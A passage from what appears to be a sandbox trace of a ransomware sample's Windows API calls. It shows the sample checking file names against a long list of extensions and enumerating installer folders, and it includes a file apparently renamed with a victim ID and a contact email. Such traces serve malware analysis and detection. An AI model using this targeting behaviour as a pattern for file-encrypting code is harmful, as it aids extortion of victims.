	[0061.120] lstrlenW (lpString=".bay") returned 4
	[0061.120] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".bd") returned 3
	[0061.120] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0061.120] lstrlenW (lpString=".bin") returned 4
	[0061.120] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".bmp") returned 4
	[0061.120] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0061.120] lstrlenW (lpString=".bz2") returned 4
	[0061.121] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".c") returned 2
	[0061.121] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0061.121] lstrlenW (lpString=".cdr") returned 4
	[0061.121] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".cer") returned 4
	[0061.121] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".cf") returned 3
	[0061.121] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0061.121] lstrlenW (lpString=".cfc") returned 4
	[0061.121] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".cfm") returned 4
	[0061.121] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".cfml") returned 5
	[0061.121] lstrcmpiW (lpString1=".cfml", lpString2="a.xml") returned -1
	[0061.121] lstrlenW (lpString=".cfu") returned 4
	[0061.121] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".chm") returned 4
	[0061.121] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".cin") returned 4
	[0061.121] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".class") returned 6
	[0061.121] lstrcmpiW (lpString1=".class", lpString2="ta.xml") returned -1
	[0061.121] lstrlenW (lpString=".clx") returned 4
	[0061.121] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0061.121] lstrlenW (lpString=".config") returned 7
	[0061.122] lstrcmpiW (lpString1=".config", lpString2="ata.xml") returned -1
	[0061.122] lstrlenW (lpString=".cpp") returned 4
	[0061.122] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".cr2") returned 4
	[0061.122] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".crt") returned 4
	[0061.122] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".crw") returned 4
	[0061.122] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".cs") returned 3
	[0061.122] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0061.122] lstrlenW (lpString=".css") returned 4
	[0061.122] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".csv") returned 4
	[0061.122] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".cub") returned 4
	[0061.122] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".dae") returned 4
	[0061.122] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".dat") returned 4
	[0061.122] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".db") returned 3
	[0061.122] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0061.122] lstrlenW (lpString=".dbf") returned 4
	[0061.122] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.122] lstrlenW (lpString=".dbx") returned 4
	[0061.123] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".dc3") returned 4
	[0061.123] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".dcm") returned 4
	[0061.123] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".dcr") returned 4
	[0061.123] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".der") returned 4
	[0061.123] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".dib") returned 4
	[0061.123] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".dic") returned 4
	[0061.123] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".dif") returned 4
	[0061.123] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".divx") returned 5
	[0061.123] lstrcmpiW (lpString1=".divx", lpString2="a.xml") returned -1
	[0061.123] lstrlenW (lpString=".djvu") returned 5
	[0061.123] lstrcmpiW (lpString1=".djvu", lpString2="a.xml") returned -1
	[0061.123] lstrlenW (lpString=".dng") returned 4
	[0061.123] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".doc") returned 4
	[0061.123] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.123] lstrlenW (lpString=".docm") returned 5
	[0061.123] lstrcmpiW (lpString1=".docm", lpString2="a.xml") returned -1
	[0061.123] lstrlenW (lpString=".docx") returned 5
	[0061.124] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.124] lstrlenW (lpString=".dot") returned 4
	[0061.124] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".dotm") returned 5
	[0061.124] lstrcmpiW (lpString1=".dotm", lpString2="a.xml") returned -1
	[0061.124] lstrlenW (lpString=".dotx") returned 5
	[0061.124] lstrcmpiW (lpString1=".dotx", lpString2="a.xml") returned -1
	[0061.124] lstrlenW (lpString=".dpx") returned 4
	[0061.124] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".dqy") returned 4
	[0061.124] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".dsn") returned 4
	[0061.124] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".dt") returned 3
	[0061.124] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0061.124] lstrlenW (lpString=".dtd") returned 4
	[0061.124] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".dwg") returned 4
	[0061.124] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".dwt") returned 4
	[0061.124] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".dx") returned 3
	[0061.124] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0061.124] lstrlenW (lpString=".dxf") returned 4
	[0061.124] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0061.124] lstrlenW (lpString=".edml") returned 5
	[0061.124] lstrcmpiW (lpString1=".edml", lpString2="a.xml") returned -1
	[0061.125] lstrlenW (lpString=".efd") returned 4
	[0061.125] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".elf") returned 4
	[0061.125] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".emf") returned 4
	[0061.125] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".emz") returned 4
	[0061.125] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".epf") returned 4
	[0061.125] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".eps") returned 4
	[0061.125] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".epsf") returned 5
	[0061.125] lstrcmpiW (lpString1=".epsf", lpString2="a.xml") returned -1
	[0061.125] lstrlenW (lpString=".epsp") returned 5
	[0061.125] lstrcmpiW (lpString1=".epsp", lpString2="a.xml") returned -1
	[0061.125] lstrlenW (lpString=".erf") returned 4
	[0061.125] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".exr") returned 4
	[0061.125] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".f4v") returned 4
	[0061.125] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0061.125] lstrlenW (lpString=".fido") returned 5
	[0061.125] lstrcmpiW (lpString1=".fido", lpString2="a.xml") returned -1
	[0061.125] lstrlenW (lpString=".flm") returned 4
	[0061.126] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".flv") returned 4
	[0061.126] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".frm") returned 4
	[0061.126] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".fxg") returned 4
	[0061.126] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".geo") returned 4
	[0061.126] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".gif") returned 4
	[0061.126] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".grs") returned 4
	[0061.126] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".gz") returned 3
	[0061.126] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0061.126] lstrlenW (lpString=".h") returned 2
	[0061.126] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0061.126] lstrlenW (lpString=".hdr") returned 4
	[0061.126] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".hpp") returned 4
	[0061.126] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".hta") returned 4
	[0061.126] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".htc") returned 4
	[0061.126] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0061.126] lstrlenW (lpString=".htm") returned 4
	[0061.126] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0061.127] lstrlenW (lpString=".html") returned 5
	[0061.127] lstrcmpiW (lpString1=".html", lpString2="a.xml") returned -1
	[0061.127] lstrlenW (lpString=".icb") returned 4
	[0061.127] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0061.127] lstrlenW (lpString=".ics") returned 4
	[0061.127] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0061.127] lstrlenW (lpString=".iff") returned 4
	[0061.127] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0061.127] lstrlenW (lpString=".inc") returned 4
	[0061.127] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0061.127] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d593af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80d593af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80d593af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0061.127] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.128] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.128] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0061.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.166] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0061.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.166] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09b0
	[0061.166] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.166] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.167] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.167] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.167] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.167] FindClose (in: hFindFile=0x5e09b0 | out: hFindFile=0x5e09b0) returned 1
	[0061.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.167] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0061.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.167] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e04f0
	[0061.168] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.168] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.168] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.168] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.168] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.168] FindClose (in: hFindFile=0x5e04f0 | out: hFindFile=0x5e04f0) returned 1
	[0061.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.168] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0061.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.169] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e08f0
	[0061.169] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.169] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.169] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.169] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.169] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.170] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0061.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.170] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0061.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.170] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e03b0
